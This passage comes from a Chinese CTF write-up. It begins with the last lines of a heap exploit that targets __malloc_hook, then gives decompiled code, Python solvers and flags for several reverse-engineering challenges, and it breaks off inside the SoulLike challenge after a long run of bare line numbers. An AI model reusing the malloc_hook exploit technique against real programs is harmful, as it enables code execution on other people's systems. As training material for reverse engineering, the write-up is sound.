success('addr___malloc_hook = ' + hex(addr___malloc_hook))
# gdb.attach(p)
p.interactive()

Flag:

1
flag{0d8cd2b0-903f-4e24-a65e-7001621b1e08}

Reverse

Here_you_are

Description:

This is your flag. Here you are.
IDA and OD are really my friends. Do you want to play with them too?
点击这里,开始你的比赛!


Solution:

猜测送分题,直接 strings 命令搜的


Flag:

1
ACTF{Reverse_w3lcome_:)}

rome

Description:

Julius
点击这里,开始你的比赛!


Solution:

打开 IDA 看到主函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
int func()
{
int result; // eax
int v1; // [esp+14h] [ebp-44h]
int v2; // [esp+18h] [ebp-40h]
int v3; // [esp+1Ch] [ebp-3Ch]
int v4; // [esp+20h] [ebp-38h]
unsigned __int8 v5; // [esp+24h] [ebp-34h]
unsigned __int8 v6; // [esp+25h] [ebp-33h]
unsigned __int8 v7; // [esp+26h] [ebp-32h]
unsigned __int8 v8; // [esp+27h] [ebp-31h]
unsigned __int8 v9; // [esp+28h] [ebp-30h]
int v10; // [esp+29h] [ebp-2Fh]
int v11; // [esp+2Dh] [ebp-2Bh]
int v12; // [esp+31h] [ebp-27h]
int v13; // [esp+35h] [ebp-23h]
unsigned __int8 v14; // [esp+39h] [ebp-1Fh]
char v15; // [esp+3Bh] [ebp-1Dh]
char v16; // [esp+3Ch] [ebp-1Ch]
char v17; // [esp+3Dh] [ebp-1Bh]
char v18; // [esp+3Eh] [ebp-1Ah]
char v19; // [esp+3Fh] [ebp-19h]
char v20; // [esp+40h] [ebp-18h]
char v21; // [esp+41h] [ebp-17h]
char v22; // [esp+42h] [ebp-16h]
char v23; // [esp+43h] [ebp-15h]
char v24; // [esp+44h] [ebp-14h]
char v25; // [esp+45h] [ebp-13h]
char v26; // [esp+46h] [ebp-12h]
char v27; // [esp+47h] [ebp-11h]
char v28; // [esp+48h] [ebp-10h]
char v29; // [esp+49h] [ebp-Fh]
char v30; // [esp+4Ah] [ebp-Eh]
char v31; // [esp+4Bh] [ebp-Dh]
int i; // [esp+4Ch] [ebp-Ch]

v15 = 'Q';
v16 = 's';
v17 = 'w';
v18 = '3';
v19 = 's';
v20 = 'j';
v21 = '_';
v22 = 'l';
v23 = 'z';
v24 = '4';
v25 = '_';
v26 = 'U';
v27 = 'j';
v28 = 'w';
v29 = '@';
v30 = 'l';
v31 = 0;
printf("Please input:");
scanf("%s", &v5);
result = v5;
if ( v5 == 'A' )
{
result = v6;
if ( v6 == 'C' )
{
result = v7;
if ( v7 == 'T' )
{
result = v8;
if ( v8 == 'F' )
{
result = v9;
if ( v9 == '{' )
{
result = v14;
if ( v14 == '}' )
{
v1 = v10;
v2 = v11;
v3 = v12;
v4 = v13;
for ( i = 0; i <= 15; ++i )
{
if ( *(&v1 + i) > 64 && *(&v1 + i) <= 90 )
*(&v1 + i) = (*(&v1 + i) - 51) % 26 + 65;
if ( *(&v1 + i) > 96 && *(&v1 + i) <= 122 )
*(&v1 + i) = (*(&v1 + i) - 79) % 26 + 97;
}
for ( i = 0; i <= 15; ++i )
{
result = *(&v15 + i);
if ( *(&v1 + i) != result )
return result;
}
result = printf("You are correct!");
}
}
}
}
}
}
return result;
}

写解密脚本即可,暴力破解

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import string

str_dic = list(string.letters)
str_enc = list('Qsw3sj_lz4_Ujw@l')

for i in range(0, len(str_enc)):
num = ord(str_enc[i])
for j in range(0, len(str_dic)):
tmp = ord(str_dic[j])
cache = tmp
if 64 < tmp <= 90:
tmp = (tmp - 51) % 26 + 65
if 96 < tmp <= 122:
tmp = (tmp - 79) % 26 + 97
if tmp == num:
str_enc[i] = chr(cache)
break

print ''.join(str_enc)

Flag:

1
ACTF{Cae3ar_th4_Gre@t}

game

Description:

打比赛打累了吧?来玩个小游戏?
点击这里,开始你的比赛!


Solution:

程序的意思就是输入英文,然后都减去 96,转换成数字,填到数独列表里值为 0 的地方

然后检测数独是否正确,正确就通过,数独表能在unk_405020很容易地提取出来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int sub_401410()
{
char v1[19]; // [esp+16h] [ebp-2Ah]
char v2[19]; // [esp+29h] [ebp-17h]
int v3; // [esp+3Ch] [ebp-4h]

sub_401D70();
printf("%s", "Please enter your flag:");
scanf("%s", v2);
v3 = -1;
do
{
++v3;
v1[v3] = v2[v3];
}
while ( v2[v3] );
sub_4014DC(v2);
sub_40156A(v2, &unk_405020);
sub_4017D1(&unk_405020);
puts("Congratulations, you successfully solved this little problem!");
printf("flag为:flag{%s", v1);
putchar(125);
return 0;
}

根据程序内所写,是每四位一提取,之前一共有 300 多个数字,提取后可以清晰看到 9 × 9 的表,也就是 81 个数字

1
2
3
4
5
6
7
8
9
2, 5, 0, 1, 4, 0, 6, 8, 9,
0, 0, 8, 9, 0, 6, 2, 0, 5,
6, 7, 9, 2, 5, 8, 1, 4, 3,
3, 1, 2, 5, 8, 4, 7, 0, 0,
0, 8, 0, 7, 9, 0, 5, 3, 2,
5, 9, 7, 0, 6, 2, 8, 1, 0,
7, 2, 4, 0, 1, 3, 0, 5, 8,
8, 6, 5, 4, 7, 9, 3, 0, 1,
9, 3, 1, 8, 2, 5, 4, 0, 0

然后扔到数独求解的工具上求解,把每一位求解出来的数字加上 96 转成 ASCII 码即是答案

1
2
3
4
5
res = ''
table3 = [3, 7, 1, 4, 3, 7, 9, 6, 4, 6, 1, 3, 4, 6, 9, 2, 6, 7]
for i in range(0, len(table3)):
res += chr(table3[i] + 96)
print res

Flag:

1
flag{cgadcgifdfacdfibfg}

usualCrypt

Description:

这个加密真的很常见,不信你看看
点击这里,开始你的比赛!


Solution:

x86dbg 调试可得该题 base64 密码表为ABCDEFQRSTUVWXYPGHIJKLMNOZabcdefghijklmnopqrstuvwxyz0123456789+/

得到密文为zMXHz3TIgnxLxJhFAdtZn2fFk3lYCrtPC2l9

但是解密就是不对,最后找到了这个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
int __cdecl sub_401030(const char *a1)
{
__int64 v1; // rax
char v2; // al

v1 = 0i64;
if ( strlen(a1) != 0 )
{
do
{
v2 = a1[HIDWORD(v1)];
if ( v2 < 'a' || v2 > 'z' )
{
if ( v2 < 'A' || v2 > 'Z' )
goto LABEL_9;
LOBYTE(v1) = v2 + 0x20;
}
else
{
LOBYTE(v1) = v2 - 0x20;
}
a1[HIDWORD(v1)] = v1;
LABEL_9:
LODWORD(v1) = 0;
++HIDWORD(v1);
}
while ( HIDWORD(v1) < strlen(a1) );
}
return v1;
}

在这个函数逆运行后再进行 base64 解密即可

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import base64
ori = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

current = "ABCDEFQRSTUVWXYPGHIJKLMNOZabcdefghijklmnopqrstuvwxyz0123456789+/"
str_enc = "zMXHz3TIgnxLxJhFAdtZn2fFk3lYCrtPC2l9"
str_enc = list(str_enc)
for i in range(0, len(str_enc)):
tmp = ord(str_enc[i])
if tmp < ord('a') or tmp > ord('z'):
if tmp < ord('A') or tmp > ord('Z'):
continue
str_enc[i] = chr(tmp + 0x20)
else:
str_enc[i] = chr(tmp - 0x20)
str_enc = ''.join(str_enc)
table = ''.maketrans(current, ori)
res = base64.b64decode(str_enc.translate(table))
print(res)

Flag:

1
flag{bAse64_h2s_a_Surprise}

Oruga(未解出)

Description:

“只要我们不停下脚步,道路就会不断延伸……”
“团长,你在做什么啊团长!”
“我们不需要最后的落脚处,只要不断前进就行了。只要不停止,道路就会不断延伸。因为,我不会停下来的!只要你们不停下来,那前面一定就有我!所以啊……不要停下来啊……”
点击这里,开始你的比赛!


Solution:

exp如下:

1
2



Flag:

1
动态靶机

easyre

Description:

Nutshell
点击这里,开始你的比赛!


Solution:

主函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [esp+12h] [ebp-2Eh]
char v5; // [esp+13h] [ebp-2Dh]
char v6; // [esp+14h] [ebp-2Ch]
char v7; // [esp+15h] [ebp-2Bh]
char v8; // [esp+16h] [ebp-2Ah]
char v9; // [esp+17h] [ebp-29h]
char v10; // [esp+18h] [ebp-28h]
char v11; // [esp+19h] [ebp-27h]
char v12; // [esp+1Ah] [ebp-26h]
char v13; // [esp+1Bh] [ebp-25h]
char v14; // [esp+1Ch] [ebp-24h]
char v15; // [esp+1Dh] [ebp-23h]
int v16; // [esp+1Eh] [ebp-22h]
int v17; // [esp+22h] [ebp-1Eh]
int v18; // [esp+26h] [ebp-1Ah]
__int16 v19; // [esp+2Ah] [ebp-16h]
char v20; // [esp+2Ch] [ebp-14h]
char v21; // [esp+2Dh] [ebp-13h]
char v22; // [esp+2Eh] [ebp-12h]
int v23; // [esp+2Fh] [ebp-11h]
int v24; // [esp+33h] [ebp-Dh]
int v25; // [esp+37h] [ebp-9h]
char v26; // [esp+3Bh] [ebp-5h]
int i; // [esp+3Ch] [ebp-4h]

__main();
v4 = '*';
v5 = 'F';
v6 = '\'';
v7 = '"';
v8 = 'N';
v9 = ',';
v10 = '"';
v11 = '(';
v12 = 'I';
v13 = '?';
v14 = '+';
v15 = '@';
printf("Please input:");
scanf("%s", &v19);
if ( v19 != 'A' || HIBYTE(v19) != 'C' || v20 != 'T' || v21 != 'F' || v22 != '{' || v26 != '}' )
return 0;
v16 = v23;
v17 = v24;
v18 = v25;
for ( i = 0; i <= 11; ++i )
{
if ( *(&v4 + i) != _data_start__[*(&v16 + i) - 1] )
return 0;
}
printf("You are correct!");
return 0;
}

写解密函数即可

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
table1 = ['*', 'F', '\'', '\"', 'N', ',', '\"', '(', 'I', '?', '+', '@']
# _data_start__
table2 = "\x7E\x7D\x7C\x7B\x7A\x79\x78\x77\x76\x75\x74\x73\x72\x71\x70"\
"\x6F\x6E\x6D\x6C\x6B\x6A\x69\x68\x67\x66\x65\x64\x63\x62\x61"\
"\x60\x5F\x5E\x5D\x5C\x5B\x5A\x59\x58\x57\x56\x55\x54\x53\x52"\
"\x51\x50\x4F\x4E\x4D\x4C\x4B\x4A\x49\x48\x47\x46\x45\x44\x43"\
"\x42\x41\x40\x3F\x3E\x3D\x3C\x3B\x3A\x39\x38\x37\x36\x35\x34"\
"\x33\x32\x31\x30\x2F\x2E\x2D\x2C\x2B\x2A\x29\x28\x27\x26\x25"\
"\x24\x23\x20\x21\x22\x00"
table2 = list(table2)
res = []
for i in range(0, 12):
tmp = table1[i]
for j in range(0, len(table2)):
cache = table2[j]
if tmp == cache:
res.append(chr(j + 1))

res = ''.join(res)
print 'ACTF{' + res + '}'

Flag:

1
ACTF{U9X_1S_W6@T?}

SoulLike

Description:

玩魂like游戏最重要的品质就是,执着(M)
点击这里,开始你的比赛!


Solution:

主函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char v3; // al
__int64 result; // rax
char v5; // [rsp+7h] [rbp-B9h]
signed int i; // [rsp+8h] [rbp-B8h]
signed int j; // [rsp+Ch] [rbp-B4h]
int v8[14]; // [rsp+10h] [rbp-B0h]
int v9; // [rsp+4Ah] [rbp-76h]
__int16 v10; // [rsp+4Eh] [rbp-72h]
char v11[17]; // [rsp+50h] [rbp-70h]
char v12; // [rsp+61h] [rbp-5Fh]
unsigned __int64 v13; // [rsp+B8h] [rbp-8h]

v13 = __readfsqword(0x28u);
printf("input flag:", a2, a3);
scanf("%s", v11);
v9 = 'ftca';
v10 = '{';
v5 = 1;
for ( i = 0; i <= 4; ++i )
{
if ( *(&v9 + i) != v11[i] )
{
v5 = 0;
goto LABEL_6;
}
}
if ( !v5 )
goto LABEL_19;
LABEL_6:
for ( j = 0; j <= 11; ++j )
v8[j] = v11[j + 5];
v3 = sub_83A(v8) && v12 == 125 ? 1 : 0;
if ( v3 )
{
printf("That's true! flag is %s", v11);
result = 0LL;
}
else
{
LABEL_19:
printf("Try another time...");
result = 0LL;
}
return result;
}

主要算法在 sub_83A 里面,内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108
1109
1110
1111
1112
1113
1114
1115
1116
1117
1118
1119
1120
1121
1122
1123
1124
1125
1126
1127
1128
1129
1130
1131
1132
1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
1148
1149
1150
1151
1152
1153
1154
1155
1156
1157
1158
1159
1160
1161
1162
1163
1164
1165
1166
1167
1168
1169
1170
1171
1172
1173
1174
1175
1176
1177
1178
1179
1180
1181
1182
1183
1184
1185
1186
1187
1188
1189
1190
1191
1192
1193
1194
1195
1196
1197
1198
1199
1200
1201
1202
1203
1204
1205
1206
1207
1208
1209
1210
1211
1212
1213
1214
1215
1216
1217
1218
1219
1220
1221
1222
1223
1224
1225
1226
1227
1228
1229
1230
1231
1232
1233
1234
1235
1236
1237
1238
1239
1240
1241
1242
1243
1244
1245
1246
1247
1248
1249
1250
1251
1252
1253
1254
1255
1256
1257
1258
1259
1260
1261
1262
1263
1264
1265
1266
1267
1268
1269
1270
1271
1272
1273
1274
1275
1276
1277
1278
1279
1280
1281
1282
1283
1284
1285
1286
1287
1288
1289
1290
1291
1292
1293
1294
1295
1296
1297
1298
1299
1300
1301
1302
1303
1304
1305
1306
1307
1308
1309
1310
1311
1312
1313
1314
1315
1316
1317
1318
1319
1320
1321
1322
1323
1324
1325
1326
1327
1328
1329
1330
1331
1332
1333
1334
1335
1336
1337
1338
1339
1340
1341
1342
1343
1344
1345
1346
1347
1348
1349
1350
1351
1352
1353
1354
1355
1356
1357
1358
1359
1360
1361
1362
1363
1364
1365
1366
1367
1368
1369
1370
1371
1372
1373
1374
1375
1376
1377
1378
1379
1380
1381
1382
1383
1384
1385
1386
1387
1388
1389
1390
1391
1392
1393
1394
1395
1396
1397
1398
1399
1400
1401
1402
1403
1404
1405
1406
1407
1408
1409
1410
1411
1412
1413
1414
1415
1416
1417
1418
1419
1420
1421
1422
1423
1424
1425
1426
1427
1428
1429
1430
1431
1432
1433
1434
1435
1436
1437
1438
1439
1440
1441
1442
1443
1444
1445
1446
1447
1448
1449
1450
1451
1452
1453
1454
1455
1456
1457
1458
1459
1460
1461
1462
1463
1464
1465
1466
1467
1468
1469
1470
1471
1472
1473
1474
1475
1476
1477
1478
1479
1480
1481
1482
1483
1484
1485
1486
1487
1488
1489
1490
1491
1492
1493
1494
1495
1496
1497
1498
1499
1500
1501
1502
1503
1504
1505
1506
1507
1508
1509
1510
1511
1512
1513
1514
1515
1516
1517
1518
1519
1520
1521
1522
1523
1524
1525
1526
1527
1528
1529
1530
1531
1532
1533
1534
1535
1536
1537
1538
1539
1540
1541
1542
1543
1544
1545
1546
1547
1548
1549
1550
1551
1552
1553
1554
1555
1556
1557
1558
1559
1560
1561
1562
1563
1564
1565
1566
1567
1568
1569
1570
1571
1572
1573
1574
1575
1576
1577
1578
1579
1580
1581
1582
1583
1584
1585
1586
1587
1588
1589
1590
1591
1592
1593
1594
1595
1596
1597
1598
1599
1600
1601
1602
1603
1604
1605
1606
1607
1608
1609
1610
1611
1612
1613
1614
1615
1616
1617
1618
1619
1620
1621
1622
1623
1624
1625
1626
1627
1628
1629
1630
1631
1632
1633
1634
1635
1636
1637
1638
1639
1640
1641
1642
1643
1644
1645
1646
1647
1648
1649
1650
1651
1652
1653
1654
1655
1656
1657
1658
1659
1660
1661
1662
1663
1664
1665
1666
1667
1668
1669
1670
1671
1672
1673
1674
1675
1676
1677
1678
1679
1680
1681
1682
1683
1684
1685
1686
1687
1688
1689
1690
1691
1692
1693
1694
1695
1696
1697
1698
1699
1700
1701
1702
1703
1704
1705
1706
1707
1708
1709
1710
1711
1712
1713
1714
1715
1716
1717
1718
1719
1720
1721
1722
1723
1724
1725
1726
1727
1728
1729
1730
1731
1732
1733
1734
1735
1736
1737
1738
1739
1740
1741
1742
1743
1744
1745
1746
1747
1748
1749
1750
1751
1752
1753
1754
1755
1756
1757
1758
1759
1760
1761
1762
1763
1764
1765
1766
1767
1768
1769
1770
1771
1772
1773
1774
1775
1776
1777
1778
1779
1780
1781
1782
1783
1784
1785
1786
1787
1788
1789
1790
1791
1792
1793
1794
1795
1796
1797
1798
1799
1800
1801
1802
1803
1804
1805
1806
1807
1808
1809
1810
1811
1812
1813
1814
1815
1816
1817
1818
1819
1820
1821
1822
1823
1824
1825
1826
1827
1828
1829
1830
1831
1832
1833
1834
1835
1836
1837
1838
1839
1840
1841
1842
1843
1844
1845
1846
1847
1848
1849
1850
1851
1852
1853
1854
1855
1856
1857
1858
1859
1860
1861
1862
1863
1864
1865
1866
1867
1868
1869
1870
1871
1872
1873
1874
1875
1876
1877
1878
1879
1880
1881
1882
1883
1884
1885
1886
1887
1888
1889
1890
1891
1892
1893
1894
1895
1896
1897
1898
1899
1900
1901
1902
1903
1904
1905
1906
1907
1908
1909
1910
1911
1912
1913
1914
1915
1916
1917
1918
1919
1920
1921
1922
1923
1924
1925
1926
1927
1928
1929
1930
1931
1932
1933
1934
1935
1936
1937
1938
1939
1940
1941
1942
1943
1944
1945
1946
1947
1948
1949
1950
1951
1952
1953
1954
1955
1956
1957
1958
1959
1960
1961
1962
1963
1964
1965
1966
1967
1968
1969
1970
1971
1972
1973
1974
1975
1976
1977
1978
1979
1980
1981
1982
1983
1984
1985
1986
1987
1988
1989
1990
1991
1992
1993
1994
1995
1996
1997
1998
1999
2000
2001
2002
2003
2004
2005
2006
2007
2008
2009
2010
2011
2012
2013
2014
2015
2016
2017
2018
2019
2020
2021
2022
2023
2024
2025
2026
2027
2028
2029
2030
2031
2032
2033
2034
2035
2036
2037
2038
2039
2040
2041
2042
2043
2044
2045
2046
2047
2048
2049
2050
2051
2052
2053
2054
2055
2056
2057
2058
2059
2060
2061
2062
2063
2064
2065
2066
2067
2068
2069
2070
2071
2072
2073
2074
2075
2076
2077
2078
2079
2080
2081
2082
2083
2084
2085
2086
2087
2088
2089
2090
2091
2092
2093
2094
2095
2096
2097
2098
2099
2100
2101
2102
2103
2104
2105
2106
2107
2108
2109
2110
2111
2112
2113
2114
2115
2116
2117
2118
2119
2120
2121
2122
2123
2124
2125
2126
2127
2128
2129
2130
2131
2132
2133
2134
2135
2136
2137
2138
2139
2140
2141
2142
2143
2144
2145
2146
2147
2148
2149
2150
2151
2152
2153
2154
2155
2156
2157
2158
2159
2160
2161
2162
2163
2164
2165
2166
2167
2168
2169
2170
2171
2172
2173
2174
2175
2176
2177
2178
2179
2180
2181
2182
2183
2184
2185
2186
2187
2188
2189
2190
2191
2192
2193
2194
2195
2196
2197
2198
2199
2200
2201
2202
2203
2204
2205
2206
2207
2208
2209
2210
2211
2212
2213
2214
2215
2216
2217
2218
2219
2220
2221
2222
2223
2224
2225
2226
2227
2228
2229
2230
2231
2232
2233
2234
2235
2236
2237
2238
2239
2240
2241
2242
2243
2244
2245
2246
2247
2248
2249
2250
2251
2252
2253
2254
2255
2256
2257
2258
2259
2260
2261
2262
2263
2264
2265
2266
2267
2268
2269
2270
2271
2272
2273
2274
2275
2276
2277
2278
2279
2280
2281
2282
2283
2284
2285
2286
2287
2288
2289
2290
2291
2292
2293
2294
2295
2296
2297
2298
2299
2300
2301
2302
2303
2304
2305
2306
2307
2308
2309
2310
2311
2312
2313
2314
2315
2316
2317
2318
2319
2320
2321
2322
2323
2324
2325
2326
2327
2328
2329
2330
2331
2332
2333
2334
2335
2336
2337
2338
2339
2340
2341
2342
2343
2344
2345
2346
2347
2348
2349
2350
2351
2352
2353
2354
2355
2356
2357
2358
2359
2360
2361
2362
2363
2364
2365
2366
2367
2368
2369
2370
2371
2372
2373
2374
2375
2376
2377
2378
2379
2380
2381
2382
2383
2384
2385
2386
2387
2388
2389
2390
2391
2392
2393
2394
2395
2396
2397
2398
2399
2400
2401
2402
2403
2404
2405
2406
2407
2408
2409
2410
2411
2412
2413
2414
2415
2416
2417
2418
2419
2420
2421
2422
2423
2424
2425
2426
2427
2428
2429
2430
2431
2432
2433
2434
2435
2436
2437
2438
2439
2440
2441
2442
2443
2444
2445
2446
2447
2448
2449
2450
2451
2452
2453
2454
2455
2456
2457
2458
2459
2460
2461
2462
2463
2464
2465
2466
2467
2468
2469
2470
2471
2472
2473
2474
2475
2476
2477
2478
2479
2480
2481
2482
2483
2484
2485
2486
2487
2488
2489
2490
2491
2492
2493
2494
2495
2496
2497
2498
2499
2500
2501
2502
2503
2504
2505
2506
2507
2508
2509
2510
2511
2512
2513
2514
2515
2516
2517
2518
2519
2520
2521
2522
2523
2524
2525
2526
2527
2528
2529
2530
2531
2532
2533
2534
2535
2536
2537
2538
2539
2540
2541
2542
2543
2544
2545
2546
2547
2548
2549
2550
2551
2552
2553
2554
2555
2556
2557
2558
2559
2560
2561
2562
2563
2564
2565
2566
2567
2568
2569
2570
2571
2572
2573
2574
2575
2576
2577
2578
2579
2580
2581
2582
2583
2584
2585
2586
2587
2588
2589
2590
2591
2592
2593
2594
2595
2596
2597
2598
2599
2600
2601
2602
2603
2604
2605
2606
2607
2608
2609
2610
2611
2612
2613
2614
2615
2616
2617
2618
2619
2620
2621
2622
2623
2624
2625
2626
2627
2628
2629
2630
2631
2632
2633
2634
2635
2636
2637
2638
2639
2640
2641
2642
2643
2644
2645
2646
2647
2648
2649
2650
2651
2652
2653
2654
2655
2656
2657
2658
2659
2660
2661
2662
2663
2664
2665
2666
2667
2668
2669
2670
2671
2672
2673
2674
2675
2676
2677
2678
2679
2680
2681
2682
2683
2684
2685
2686
2687
2688
2689
2690
2691
2692
2693
2694
2695
2696
2697
2698
2699
2700
2701
2702
2703
2704
2705
2706
2707
2708
2709
2710
2711
2712
2713
2714
2715
2716
2717
2718
2719
2720
2721
2722
2723
2724
2725
2726
2727
2728
2729
2730
2731
2732
2733
2734
2735
2736
2737
2738
2739
2740
2741
2742
2743
2744
2745
2746
2747
2748
2749
2750
2751
2752
2753
2754
2755
2756
2757
2758
2759
2760
2761
2762
2763
2764
2765
2766
2767
2768
2769
2770
2771
2772
2773
2774
2775
2776
2777
2778
2779
2780
2781
2782
2783
2784
2785
2786
2787
2788
2789
2790
2791
2792
2793
2794
2795
2796
2797
2798
2799
2800
2801
2802
2803
2804
2805
2806
2807
2808
2809
2810
2811
2812
2813
2814
2815
2816
2817
2818
2819
2820
2821
2822
2823
2824
2825
2826
2827
2828
2829
2830
2831
2832
2833
2834
2835
2836
2837
2838
2839
2840
2841
2842
2843
2844
2845
2846
2847
2848
2849
2850
2851
2852
2853
2854
2855
2856
2857
2858
2859
2860
2861
2862
2863
2864
2865
2866
2867
2868
2869
2870
2871
2872
2873
2874
2875
2876
2877
2878
2879
2880
2881
2882
2883
2884
2885
2886
2887
2888
2889
2890
2891
2892
2893
2894
2895
2896
2897
2898
2899
2900
2901
2902
2903
2904
2905
2906
2907
2908
2909
2910
2911
2912
2913
2914
2915
2916
2917
2918
2919
2920
2921
2922
2923
2924
2925
2926
2927
2928
2929
2930
2931
2932
2933
2934
2935
2936
2937
2938
2939
2940
2941
2942
2943
2944
2945
2946
2947
2948
2949
2950
2951
2952
2953
2954
2955
2956
2957
2958
2959
2960
2961
2962
2963
2964
2965
2966
2967
2968
2969
2970
2971
2972
2973
2974
2975
2976
2977
2978
2979
2980
2981
2982
2983
2984
2985
2986
2987
2988
2989
2990
2991
2992
2993
2994
2995
2996
2997
2998
2999
3000
3001
3002
3003
3004
3005
3006
3007
3008
3009
3010
3011
3012
3013
3014
3015
3016
3017
3018
3019
3020
3021
3022
3023
3024
3025
3026
3027
3028
3029
3030
3031
3032
3033
3034
3035
3036
3037
3038
3039
3040
3041
3042
signed __int64 __fastcall sub_83A(_DWORD *a1)
{
_DWORD *v1; // ST08_8
signed int i; // [rsp+1Ch] [rbp-44h]
int v4; // [rsp+20h] [rbp-40h]
int v5; // [rsp+24h] [rbp-3Ch]
int v6; // [rsp+28h] [rbp-38h]
int v7; // [rsp+2Ch] [rbp-34h]
int v8; // [rsp+30h] [rbp-30h]
int v9; // [rsp+34h] [rbp-2Ch]
int v10; // [rsp+38h] [rbp-28h]
int v11; // [rsp+3Ch] [rbp-24h]
int v12; // [rsp+40h] [rbp-20h]
int v13; // [rsp+44h] [rbp-1Ch]
